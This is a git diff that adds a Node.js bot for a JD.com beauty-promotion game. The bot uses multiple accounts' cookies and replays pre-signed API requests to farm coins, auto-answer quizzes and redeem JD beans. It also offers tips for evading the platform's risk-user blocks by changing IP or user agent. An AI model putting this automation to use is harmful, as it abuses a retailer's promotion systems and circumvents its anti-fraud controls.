s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_beauty.js b/jd_beauty.js new file mode 100644 index 0000000..d49e3d3 --- /dev/null +++ b/jd_beauty.js @@ -0,0 +1,710 @@ +/* +美丽研究院 +更新时间:2021-05-08 +活动入口:京东app首页-美妆馆-底部中间按钮 +只支持Node.js支持N个京东账号 +脚本兼容: Node.js +cron 1 7,12,19 * * * jd_beauty.js + */ +const $ = new Env('美丽研究院'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const WebSocket = require('ws'); +//const WebSocket = $.isNode() ? require('websocket').w3cwebsocket: SockJS; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +const randomCount = $.isNode() ? 20 : 5; +$.accountCheck = true; +$.init = false; +// const bean = 1; //兑换多少豆,默认是500 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message, helpInfo, ADD_CART = false; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + if (!$.isNode()) { + $.msg($.name, 'iOS端不支持websocket,暂不能使用此脚本', ''); + return + } + helpInfo = [] + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await accountCheck(); + while (!$.hasDone) { + await $.wait(1000) + } + if ($.accountCheck) { + await jdBeauty(); + } + if ($.accountCheck) { + helpInfo = $.helpInfo; + } + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function accountCheck() { + $.hasDone = false; + console.log(`***检测账号是否黑号***`); + await getIsvToken() + await getIsvToken2() + await getToken() + if (!$.token) { + console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + process.exit(0); + return + } + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`, null, { + headers: { + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + }); + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + await $.wait(1000); + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`); + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + if (vo.action === "_init_") { + let vo = JSON.parse(e.data); + if (vo.msg === "风险用户") { + $.accountCheck = false; + // $.init=true; + client.close(); + console.log(`${vo.msg},跳过此账号`) + } + } else if (vo.action === "get_user") { + // $.init=true; + $.accountCheck = true; + client.close(); + console.log(`${vo.msg},账号正常`); + } + } + client.onclose = (e) => { + $.hasDone = true; + // console.log(client.readyState); + console.log('服务器连接关闭'); + }; + await $.wait(1000); + } +} + +async function jdBeauty() { + $.hasDone = false + // await getIsvToken() + // await getIsvToken2() + // await getToken() + // if (!$.token) { + // console.log(`\n\n提示:请尝试换服务器ip或者设置"xinruimz-isv.isvjcloud.com"域名直连,或者自定义UA再次尝试(环境变量JD_USER_AGENT)\n\n`) + // return + // } + await mr() + while (!$.hasDone) { + await $.wait(1000) + } + await showMsg(); +} + +async function mr() { + $.coins = 0 + let positionList = ['b1', 'h1', 's1', 'b2', 'h2', 's2'] + $.tokens = [] + $.pos = [] + $.helpInfo = [] + $.needs = [] + let client = new WebSocket(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`,null,{ + headers:{ + 'user-agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + }) + console.log(`wss://xinruimz-isv.isvjcloud.com/wss/?token=${$.token}`) + client.onopen = async () => { + console.log(`美容研究院服务器连接成功`); + client.send('{"msg":{"type":"action","args":{"source":1},"action":"_init_"}}'); + client.send(`{"msg":{"type":"action","args":{"source":"meizhuangguandibudaohang"},"action":"stats"}}`) + while (!$.init) { + client.send(`ping`) + await $.wait(1000) + } + console.log('helpInfo', helpInfo); + for (let help of helpInfo) { + client.send(help); + } + await $.wait(1000) + client.send(`{"msg":{"type":"action","args":{},"action":"shop_products"}}`) + // 获得可生产的原料列表 + client.send(`{"msg":{"type":"action","args":{},"action":"get_produce_material"}}`) + await $.wait(1000) + // 获得正在生产的商品信息 + client.send('{"msg":{"type":"action","args":{},"action":"product_producing"}}') + await $.wait(1000) + // 获得库存 + client.send(`{"msg":{"type":"action","args":{},"action":"get_package"}}`) + // 获得可生成的商品列表 + client.send(`{"msg":{"type":"action","args":{"page":1,"num":10},"action":"product_lists"}}`) + await $.wait(1000) + + // 获得原料生产列表 + console.log(`========原料生产信息========`) + for (let pos of positionList) { + client.send(`{"msg":{"type":"action","args":{"position":"${pos}"},"action":"produce_position_info_v2"}}`) + // await $.wait(500) + } + + // 获得任务 + // client.send(`{"msg":{"type":"action","args":{},"action":"get_task"}}`) + // 获取个人信息 + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_user"}}`) + await $.wait(1000) + // 获得福利中心 + client.send(`{"msg":{"type":"action","args":{},"action":"get_benefit"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"collect_coins"}}`); + }; + + client.onclose = () => { + console.log(`本次运行获得美妆币${$.coins}`) + console.log('服务器连接关闭'); + $.init = true; + $.hasDone = true; + for (let i = 0; i < $.pos.length && i < $.tokens.length; ++i) { + $.helpInfo.push(`{"msg":{"type":"action","args":{"inviter_id":"${$.userInfo.id}","position":"${$.pos[i]}","token":"${$.tokens[i]}"},"action":"employee"}}`) + } + }; + client.onmessage = async function (e) { + if (e.data !== 'pong' && e.data && safeGet(e.data)) { + let vo = JSON.parse(e.data); + await $.wait(Math.random()*2000+500); + console.log(`\n开始任务:"${JSON.stringify(vo.action)}`); + switch (vo.action) { + case "get_ad": + console.log(`当期活动:${vo.data.screen.name}`) + if (vo.data.check_sign_in === 1) { + // 去签到 + console.log(`去做签到任务`) + client.send(`{"msg":{"type":"action","args":{},"action":"sign_in"}}`) + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":1,"channel":2,"source_app":2}}}`) + } + break + case "get_user": + $.userInfo = vo.data + $.total = vo.data.coins + if ($.userInfo.newcomer === 0) { + console.log(`去做新手任务`) + for (let i = $.userInfo.step; i < 15; ++i) { + client.send(`{"msg":{"type":"action","args":{},"action":"newcomer_update"}}`) + await $.wait(500) + } + } else + $.init = true; + $.level = $.userInfo.level; + console.log(`当前美妆币${$.total},用户等级${$.level}`); + break; + case "shop_products": + let count = $.taskState.shop_view.length; + if (count < 5) console.log(`去做关注店铺任务`); + for (let i = 0; i < vo.data.shops.length && count < 5; ++i) { + const shop = vo.data.shops[i]; + if (!$.taskState.shop_view.includes(shop.id)) { + count++; + console.log(`去做关注店铺【${shop.name}】`); + client.send(`{"msg":{"type":"action","args":{"shop_id":${shop.id}},"action":"shop_view"}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":6,"channel":2,"source_app":2,"vender":"${shop.vender_id}"}}}`); + } + await $.wait(1000); + } + count = $.taskState.product_adds.length; + if (count < 5 && ADD_CART) console.log(`去做浏览并加购任务`) + for (let i = 0; i < vo.data.products.length && count < 5 && ADD_CART; ++i) { + const product = vo.data.products[i]; + if (!$.taskState.product_adds.includes(product.id)) { + count++; + console.log(`去加购商品【${product.name}】`); + client.send(`{"msg":{"type":"action","args":{"add_product_id":${product.id}},"action":"add_product_view"}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":9,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + client.send(`{"msg":{"action":"write","type":"action","args":{"action_type":5,"channel":2,"source_app":2,"vender":"${product.id}"}}}`); + } + await $.wait(1000) + } + for (let i = $.taskState.meetingplace_view; i < $.taskState.mettingplace_count; ++i) { + console.log(`去做第${i + 1}次浏览会场任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"meetingplace_view"}}`) + await $.wait(2000) + } + if ($.taskState.today_answered === 0) { + console.log(`去做每日问答任务`) + client.send(`{"msg":{"type":"action","args":{"source":1},"action":"get_question"}}`) + } + break + case "check_up": + $.taskState = vo.data + // 6-9点签到 + for (let check_up of vo.data.check_up) { + if (check_up['receive_status'] !== 1) { + console.log(`去领取第${check_up.times}次签到奖励`) + client.send(`{"msg":{"type":"action","args":{"check_up_id":${check_up.id}},"action":"check_up_receive"}}`) + } else { + console.log(`第${check_up.times}次签到奖励已领取`) + } + } + break + case 'newcomer_update': + if (vo.code === '200' || vo.code === 200) { + console.log(`第${vo.data.step}步新手任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.step === 15) $.init = true + if (vo.data.coins) $.coins += vo.data.coins + } else { + console.log(`新手任务完成失败,错误信息:${JSON.stringify(vo)}`) + } + break + case 'get_question': + const questions = vo.data + let commit = {} + for (let i = 0; i < questions.length; ++i) { + const ques = questions[i] + commit[`${ques.id}`] = parseInt(ques.answers) + } + await $.wait(5000) + client.send(`{"msg":{"type":"action","args":{"commit":${JSON.stringify(commit)},"correct":${questions.length}},"action":"submit_answer"}}`) + break + case 'complete_task': + case 'action': + case 'submit_answer': + case "check_up_receive": + case "shop_view": + case "add_product_view": + case "meetingplace_view": + if (vo.code === '200' || vo.code === 200) { + console.log(`任务完成成功,获得${vo.data.coins}美妆币`) + if (vo.data.coins) $.coins += vo.data.coins + $.total = vo.data.user_coins + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "produce_position_info_v2": + // console.log(`${Boolean(vo?.data)};${vo?.data?.material_name !== ''}`); + if (vo.data && vo.data.material_name !== '') { + console.log(`【${vo?.data?.position}】上正在生产【${vo?.data?.material_name}】,可收取 ${vo.data.produce_num} 份`) + if (new Date().getTime() > vo.data.procedure.end_at) { + console.log(`去收取${vo?.data?.material_name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo?.data?.position}","replace_material":false},"action":"material_fetch_v2"}}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + $.pos.push(vo?.data?.position) + } + } else { + if (vo?.data && vo.data.valid_electric > 0) { + console.log(`【${vo.data.position}】上尚未开始生产`) + let ma + console.log(`$.needs:${JSON.stringify($.needs)}`); + if($.needs.length){ + ma = $.needs.pop() + console.log(`ma:${JSON.stringify(ma)}`); + } else { + ma = $.material.base[0]['items'][positionList.indexOf(vo.data.position)]; + console.log(`elsema:${JSON.stringify(ma)}`); + } + console.log(`ma booleam${Boolean(ma)}`); + if (ma) { + console.log(`去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + } else { + ma = $.material.base[1]['items'][positionList.indexOf(vo.data.position)] + if (ma) { + console.log(`else去生产${ma.name}`) + client.send(`{"msg":{"type":"action","args":{"position":"${vo.data.position}","material_id":${ma.id}},"action":"material_produce_v2"}}`) + } + } + } + else{ + console.log(`【${vo.data.position}】电力不足`) + } + } + break + case "material_produce_v2": + console.log(`【${vo?.data?.position}】上开始生产${vo?.data?.material_name}`) + client.send(`{"msg":{"type":"action","args":{},"action":"to_employee"}}`) + $.pos.push(vo.data.position) + break + case "material_fetch_v2": + if (vo.code === '200' || vo.code === 200) { + console.log(`【${vo.data.position}】收取成功,获得${vo.data.procedure.produce_num}份${vo.data.material_name}\n`); + } else { + console.log(`任务完成失败,错误信息${vo.msg}`) + } + break + case "get_package": + if (vo.code === '200' || vo.code === 200) { + // $.products = vo.data.product + $.materials = vo.data.material + let msg = `仓库信息:` + for (let material of $.materials) { + msg += `【${material.material.name}】${material.num}份 ` + } + console.log(msg) + } else { + console.log(`仓库信息获取失败,错误信息${vo.msg}`) + } + break + case "product_lists": + let need_material = [] + if (vo.code === '200' || vo.code === 200) { + $.products = vo.data.filter(vo=>vo.level===$.level) + console.log(`========可生产商品信息========`) + for (let product of $.products) { + let num = Infinity + let msg = '' + msg += `生产【${product.name}】` + for (let material of product.product_materials) { + msg += `需要原料“${material.material.name}${material.num} 份” ` //material.num 需要材料数量 + const ma = $.materials.filter(vo => vo.item_id === material.material_id)[0] //仓库里对应的材料信息 + // console.log(`ma:${JSON.stringify(ma)}`); + if (ma) { + msg += `(库存 ${ma.num} 份)`; + num = Math.min(num, Math.trunc(ma.num / material.num)) ;//Math.trunc 取整数部分 + if(material.num > ma.num){need_material.push(material.material)}; + // console.log(`num:${JSON.stringify(num)}`); + } else { + if(need_material.findIndex(vo=>vo.id===material.material.id)===-1) + need_material.push(material.material) + console.log(`need_material:${JSON.stringify(need_material)}`); + msg += `(没有库存)` + num = -1000 + } + } + if (num !== Infinity && num > 0) { + msg += `,可生产 ${num}份` + console.log(msg) + console.log(`【${product.name}】可生产份数大于0,去生产`) + //product_produce 产品研发里的生产 + client.send(`{"msg":{"type":"action","args":{"product_id":${product.id},"amount":${num}},"action":"product_produce"}}`) + await $.wait(500) + } else { + console.log(msg) + console.log(`【${product.name}】原料不足,无法生产`) + } + } + $.needs = need_material + // console.log(`product_lists $.needs:${JSON.stringify($.needs)}`); + console.log(`=======================`) + } else { + console.log(`生产信息获取失败,错误信息:${vo.msg}`) + } + // await $.wait(2000); + // client.close(); + break + case "product_produce": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`生产成功`) + } else { + console.log(`生产信息获取失败,错误信息${vo.msg}`) + } + break + case "collect_coins": + if (vo.code === '200' || vo.code === 200) { + // console.log(`product_produce:${JSON.stringify(vo)}`) + console.log(`收取成功,获得${vo['data']['coins']}美妆币,当前总美妆币:${vo['data']['user_coins']}\n`) + } else { + console.log(`收取美妆币失败,错误信息${vo.msg}`) + } + break + case "product_producing": + // console.log('product_producing', vo); + if (vo.code === '200' || vo.code === 200) { + for (let product of vo.data) { + if (product.num === product.produce_num) { + client.send(`{"msg":{"type":"action","args":{"log_id":${product.id}},"action":"new_product_fetch"}}`) + } else { + console.log(`产品【${product.product.id}】未生产完成,无法收取`) + } + } + } else { + console.log(`生产商品信息获取失败,错误信息${vo.msg}`) + } + break + case "new_product_fetch": + if (vo.code === '200' || vo.code === 200) { + console.log(`收取产品【${vo.data.product.name}】${vo.data.num}份`) + } else { + console.log(`收取产品失败,错误信息${vo.msg}`) + } + break + // case "get_task": + // console.log(`当前任务【${vo.data.describe}】,需要【${vo.data.product.name}】${vo.data.package_stock}/${vo.data.num}份`) + // if (vo.data.package_stock >= vo.data.num) { + // console.log(`满足任务要求,去完成任务`) + // client.send(`{"msg":{"type":"action","args":{"task_id":${vo.data.id}},"action":"complete_task"}}`) + // } + // break + case 'get_benefit': + for (let benefit of vo.data) { + if (benefit.type === 1) { //type 1 是京豆 + console.log(`benefit:${JSON.stringify(benefit)}`); + if(benefit.description === "1 京豆" && //500颗京豆打包兑换 + parseInt(benefit.day_exchange_count) < 10 && + $.total > benefit.coins){ + for (let i = benefit.day_exchange_count; i < 10; i++){ + // console.log(`开始兑换`) + client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`); + await $.wait(1000); + } + } + // console.log(`物品【${benefit.description}】需要${benefit.coins}美妆币,库存${benefit.stock}份`) + // if (parseInt(benefit.setting.beans_count) === bean && //兑换多少豆 bean500就500豆 + // $.total > benefit.coins && + // parseInt(benefit.day_exchange_count) < benefit.day_limit) { + // console.log(`满足条件,去兑换`) + // client.send(`{"msg":{"type":"action","args":{"benefit_id":${benefit.id}},"action":"to_exchange"}}`) + // await $.wait(1000) + // } + } + } + break + case "to_exchange": + if (vo?.data) { + console.log(`兑换${vo?.data?.coins/-100}京豆成功;${JSON.stringify(vo)}`) + } else { + console.log(`兑换京豆失败:${JSON.stringify(vo)}`) + } + break + case "get_produce_material": + console.log('get_produce_material', vo?.msg); + $.material = vo.data + break + case "to_employee": + console.log(`雇佣助力码【${vo.data.token}】`) + $.tokens.push(vo.data.token) + break + case "employee": + console.log(`${vo.msg}`) + break + } + } + }; +} + +function getIsvToken() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=genToken', + body: 'body=%7B%22to%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%5C/?channel%3Dmeizhuangguandibudaohang%26collectionId%3D96%26tttparams%3DYEyYQjMIeyJnTG5nIjoiMTE4Ljc2MjQyMSIsImdMYXQiOiIzMi4yNDE4ODIifQ8%253D%253D%26un_area%3D12_904_908_57903%26lng%3D118.7159742308471%26lat%3D32.2010317443041%22%2C%22action%22%3A%22to%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=b0aac3dd04b1c6d68cee3d425e27f480&st=1610161913667&sv=111', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${$.name} API请求失败,请检查网路重试`); + console.log(`${JSON.stringify(err)}`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.isvToken = data['tokenKey']; + console.log(`isvToken:${$.isvToken}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getIsvToken2() { + let config = { + url: 'https://api.m.jd.com/client.action?functionId=isvObfuscator', + body: 'body=%7B%22url%22%3A%22https%3A%5C/%5C/xinruimz-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167490&client=apple&clientVersion=9.3.2&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=apple&rfs=0000&scope=01&sign=6eb3237cff376c07a11c1e185761d073&st=1610161927336&sv=102&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D', + headers: { + 'Host': 'api.m.jd.com', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167490 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + 'content-type': 'application/x-www-form-urlencoded', + 'Cookie': cookie + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token2 = data['token'] + console.log(`token2:${$.token2}`); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getToken() { + let config = { + url: 'https://xinruimz-isv.isvjcloud.com/api/auth', + body: JSON.stringify({"token":$.token2,"source":"01"}), + headers: { + 'Host': 'xinruimz-isv.isvjcloud.com', + 'Accept': 'application/x.jd-school-island.v1+json', + 'Source': '02', + 'Accept-Language': 'zh-cn', + 'Content-Type': 'application/json;charset=utf-8', + 'Origin': 'https://xinruimz-isv.isvjcloud.com', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Referer': 'https://xinruimz-isv.isvjcloud.com/logined_jd/', + 'Authorization': 'Bearer undefined', + 'Cookie': `IsvToken=${$.isvToken};` + } + } + return new Promise(resolve => { + $.post(config, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.token = data.access_token + console.log(`【$.token】 ${$.token}`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function showMsg() { + return new Promise(resolve => { + message += `本次运行获得美妆币${$.coins}枚\n当前美妆币${$.total}`; + $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); + resolve() + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;10.0.2;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const 